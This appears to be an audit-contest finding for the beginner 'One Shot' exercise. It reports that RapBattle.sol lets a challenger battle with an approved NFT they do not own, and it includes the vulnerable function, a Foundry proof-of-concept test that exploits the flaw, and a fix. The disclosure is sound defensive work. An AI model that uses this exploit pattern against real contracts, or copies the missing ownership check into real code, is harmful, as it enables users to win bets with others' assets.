First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

A user can battle with a oneShot NFT they do not own, to increase their chances of success in the battle

emacab98

Summary

A user can increase their chance of winning a rap battle and, thus, the bet staked with it, by using someone else's more skilled rapper, due to a lack of relevant checks on the ownership of the oneShot NFT.

Vulnerability Details

When a user wants to take part in a rap battle, they can do so via the entrypoint RapBattle.sol::goOnStageOrBattle(uint256 _tokenId, uint256 _credBet).
Here is the code of this function:

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}

If we take a closer look at this function, there are two scenarios:

  • a user has already entered the stage, and awaits a challenger

  • no one is on the stage, so anyone calling the function will wait for a challenger

In the first case, the else branch of the control statement is executed, calling the internal _battle function.

The _battle function retrieves the information about the challenging rapper using uint256 challengerRapperSkill = getRapperSkill(_tokenId);, and, at no point in the execution flow, checks that msg.sender owns the NFT represented by this _tokenId.

With this in mind, it is possible to use any skilled rapper that is already approved to challenge other players. Using more skilled rappers will increase the attacker's chance of winning the battle and, thus, winning the bet.
This approach is shown with the following test case, which can be added to the OneShotTest.t.sol:

function testUseSomeonesRapper() public twoSkilledRappers {
//this is meant to test that, once a defender is waiting for a challenge,
//an attacker can use anyone's rapper to compete and win the bet
address attacker = makeAddr("Attacker");
vm.startPrank(attacker);
oneShot.mintRapper();
assert(oneShot.ownerOf(2) == attacker); //in the modifier, two skilled rappers are already created
vm.stopPrank();
​
//create a defender that awaits for a challenge
address defender = makeAddr("Defender");
vm.startPrank(defender);
oneShot.mintRapper();
assert(oneShot.ownerOf(3) == defender);
oneShot.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(3, 0);
vm.stopPrank();
​
//now, as the attacker, let's compete with this basic rapper with a more skilled one
//to increase our chance of winning
//the only pre-requisite is that the rapper we want to use has been approved
//or we won't be able to battle with it
//so let us assume one skilled rapper is approved
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
vm.stopPrank();
​
vm.startPrank(attacker);
vm.recordLogs();
rapBattle.goOnStageOrBattle(0, 0);
//here, as attacker, I am using a tokenID I do not own
//not running into a revert is already an issue here,
//because it means I have battled with a rapper I do not own
//let's also check the winner, although using a more skilled rapper is not a 100% guarantee that the battle will be won
Vm.Log[] memory entries = vm.getRecordedLogs();
// Convert the event bytes32 objects -> address
address winner = address(uint160(uint256(entries[0].topics[2])));
assert(winner == attacker);
}

Impact

A user can significantly increase their chance of winning a rap battle without having to stake their oneShot NFT in order to increase its stats. Any user can simply exploit this vulnerability and use a pre-approved more skilled rapper NFT to battle, and have a better chance of winning the bet.

Tools Used

Manual review, VSCode, Foundry

Recommendations

The smart contract should check that both the challenged rapper (check already in place) and challenging rapper (exploited here) are inserted into a rap battle by their respective owners.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.